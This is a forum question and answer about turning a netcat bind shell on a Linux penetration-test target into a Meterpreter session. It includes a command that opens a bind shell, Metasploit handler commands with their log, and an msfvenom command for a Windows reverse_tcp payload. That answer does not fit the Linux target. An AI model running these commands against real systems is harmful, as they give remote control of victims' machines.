Upgrade a ncat bind shell to meterpreter [closed]

Question

During penetration tests, I am often able to open a Ncat Bind Shell on the victim system (linux), which opens a port that I can then connect to:

nc -l -v -k -e /bin/bash -p 4444

I now want to upgrade this ncat shell to a meterpreter session. I found this post in the rapid7 community forum that addresses the issue:

https://community.rapid7.com/thread/4508#comment-12539

The given answer is the following:

Netcat is a completely separate executable that can't be upgraded from within the framework to meterpreter. You can add a user account through the command line, then use psexec to upload and execute the meterpreter binary.

Basically, metasploit will always send a stager first which then downloads the full meterpreter binary, but it cannot interact with the ncat shell directly. The post suggests to simply upload the full meterpreter binary via the ncat shell and then execute it. However, I was not able find such a standalone binary within the framework.

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PS: Here is some debug output from the metasploit framework when attempting to upgrade the ncat shell:

msf > use multi/handler
msf exploit(handler) > set payload linux/x64/shell/bind_tcp 
payload => linux/x64/shell/bind_tcp
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set RHOST 192.168.0.101
RHOST => 192.168.0.3
msf exploit(handler) > run 

[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (38 bytes) to 192.168.0.101
[*] Command shell session 1 opened (192.168.0.17:33097 -> 192.168.0.101:4444) at 2017-06-05 10:23:35 +0200

Background session 1? [y/N]  y

msf exploit(handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[-] Shells on the target platform, linux, cannot be upgraded to Meterpreter at this time.

Answer 1

You can generate such an exe with msfvenom.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe

That's it.